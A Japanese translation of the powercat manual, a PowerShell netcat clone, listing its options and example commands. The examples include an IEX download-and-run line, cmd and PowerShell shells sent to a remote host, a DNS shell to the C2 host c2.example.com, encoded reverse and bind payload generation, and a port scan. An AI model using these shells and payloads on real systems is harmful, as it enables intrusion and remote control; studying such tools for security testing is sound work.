
netshell は PowerShell バージョン2の全機能を搭載
Netcat: PowerShell版。(PowerShellバージョン2以降対応)
powercatはPowerShellの関数です。最初に実行するためには関数を読み込む必要があります。以下のコマンドのいずれかをPowerShellプロファイルに追加することで、PowerShell起動時に自動的にpowercatが読み込まれます。
ダウンロードした.ps1ファイルから関数を読み込む:
. .\powercat.ps1
URLから関数を読み込む:
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')
-l 接続を待ち受ける。 [Switch]
-c リスナーに接続する。 [String]
-p 接続または待ち受けるポート。 [String]
-e 実行する。(GAPING_SECURITY_HOLE) [String]
-ep PowerShellを実行する。 [Switch]
-r リレー。形式: "-r tcp:10.1.1.1:443" [String]
-u UDP経由でデータを転送する。 [Switch]
-dns DNS経由でデータを転送する(dnscat2)。 [String]
-dnsft DNS失敗しきい値。 [int32]
-t タイムアウトオプション。デフォルト: 60 [int32]
-i 入力: ファイルパス(文字列)、バイト配列、または文字列。 [object]
-o コンソール出力タイプ: "Host"、"Bytes"、"String" [String]
-of 出力ファイルパス。 [String]
-d 接続後に切断する。 [Switch]
-rep リピーター。切断後に再起動する。 [Switch]
-g ペイロードを生成する。 [Switch]
-ge エンコードされたペイロードを生成する。 [Switch]
-h ヘルプメッセージを表示する。 [Switch]
デフォルトでは、powercatはコンソールからの入力を受け取り、write-hostを使用してコンソールに出力します。出力タイプは-oオプションで'Bytes'または'String'に変更できます。
基本的なクライアント:
powercat -c 10.1.1.1 -p 443
基本的なリスナー:
powercat -l -p 8000
基本的なクライアント、出力をBytesとして:
powercat -c 10.1.1.1 -p 443 -o Bytes
powercatは-i(入力)と-of(出力ファイル)を使用してファイルを送受信できます。
ファイル送信:
powercat -c 10.1.1.1 -p 443 -i C:\inputfile
ファイル受信:
powercat -l -p 8000 -of C:\inputfile
powercatを使用してシェルを送信および提供できます。-eで実行可能ファイルを指定するか、-epを使用してPowerShellを実行します。
cmdシェルを提供:
powercat -l -p 443 -e cmd
cmdシェルを送信:
powercat -c 10.1.1.1 -p 443 -e cmd
PowerShellコマンドを実行するシェルを提供:
powercat -l -p 443 -ep
powercatはTCP経由でのデータ送信だけでなく、-uを指定してUDPモードを有効にすることもできます。また、-dnsを使用してdnscat2サーバーにデータを送信することもできます。dnscat2サーバーを実行する際は、必ず"-e open --no-cache"を追加してください。
UDP経由でデータを送信:
powercat -c 10.1.1.1 -p 8000 -u
powercat -l -p 8000 -u
DNSサーバー10.1.1.1を使用してc2.example.comのdnscat2サーバーに接続:
powercat -c 10.1.1.1 -p 53 -dns c2.example.com
WindowsのデフォルトDNSサーバーを使用してc2.example.comのdnscat2サーバーにシェルを送信:
powercat -dns c2.example.com -e cmd
powercatのリレーは従来のnetcatリレーと同様に動作しますが、ファイルを作成したり別プロセスを起動する必要はありません。また、異なるプロトコルの接続間でデータをリレーすることもできます。
TCPリスナーからTCPクライアントへのリレー:
powercat -l -p 8000 -r tcp:10.1.1.16:443
TCPリスナーからUDPクライアントへのリレー:
powercat -l -p 8000 -r udp:10.1.1.16:53
TCPリスナーからDNSクライアントへのリレー:
powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com
WindowsデフォルトDNSサーバーを使用したTCPリスナーからDNSクライアントへのリレー:
powercat -l -p 8000 -r dns:::c2.example.com
TCPクライアントからクライアントへのリレー:
powercat -c 10.1.1.1 -p 9000 -r tcp:10.1.1.16:443
TCPリスナーからリスナーへのリレー:
powercat -l -p 8000 -r tcp:9000
特定のアクションを実行するペイロードは、-g(ペイロード生成)と-ge(エンコードされたペイロード生成)を使用して生成できます。エンコードされたペイロードはpowershell -Eで実行できます。powercat全体を使用したくない場合に利用できます。
10.1.1.15のポート443に接続するリバースTCPペイロードを生成:
powercat -c 10.1.1.15 -p 443 -e cmd -g
ポート8000で待ち受けるバインドTCPエンコードコマンドを生成:
powercat -l -p 8000 -e cmd -ge
powercatはポートスキャンや永続的なサーバーの起動にも使用できます。
基本的なTCPポートスキャン:
(21,22,80,443) | % {powercat -c 10.1.1.10 -p $_ -t 1 -Verbose -d}
ファイルを提供する永続的なサーバーを起動:
powercat -l -p 443 -i C:\inputfile -rep